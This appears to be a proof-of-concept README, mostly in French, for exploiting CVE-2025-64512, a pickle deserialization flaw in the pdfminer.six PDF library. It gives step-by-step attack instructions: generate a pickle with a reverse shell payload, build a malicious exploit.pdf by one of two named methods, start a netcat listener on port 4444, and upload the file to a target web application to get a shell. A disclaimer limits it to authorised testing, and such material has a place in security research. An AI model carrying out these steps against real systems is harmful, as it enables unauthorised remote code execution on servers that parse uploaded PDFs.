
Cette preuve de concept est réservée aux tests de sécurité autorisés et à des fins éducatives uniquement.
Utilisez-la uniquement sur des systèmes que vous possédez ou pour lesquels vous disposez d'une autorisation écrite explicite de test. L'auteur n'est pas responsable de tout usage abusif ou dommage causé par ce code.
CVE-2025-64512 est une vulnérabilité critique dans pdfminer.six, une bibliothèque Python populaire permettant d'extraire du texte et des métadonnées à partir de fichiers PDF. Cette faille permet une exécution de code à distance (RCE) via une désérialisation non sécurisée de données pickle lors du traitement d'un PDF malveillant.
La vulnérabilité est généralement déclenchée via la fonctionnalité de téléversement de fichiers dans les applications web qui utilisent pdfminer.six pour analyser les documents PDF téléversés (par exemple, les systèmes de gestion documentaire, les outils de reporting, les téléversements de photos de profil acceptant les PDF).
Exécutez generate_pickle.py pour créer malicious.pickle.gz, qui contient votre charge utile de reverse shell.
python3 generate_pickle.py
Step 2 – Generate the exploit PDF
Choose one of the two available methods:
# Method 1: /Encoding path traversal (less reliable)
python3 method1_encoding_poc.py
# Method 2: /CMap deserialization (official CVE method – RECOMMENDED)
python3 method2_cmap_poc.py
Both scripts produce exploit.pdf, which references the malicious pickle file and triggers the deserialization flaw when processed.
Step 3 – Start your listener
nc -lvnp 4444
Step 4 – Upload and execute
Navigate to the target web application's file upload feature.
Upload exploit.pdf via the web interface.
The application processes the PDF using a vulnerable version of pdfminer.six.
The pickle payload deserialises and executes, granting you a reverse shell.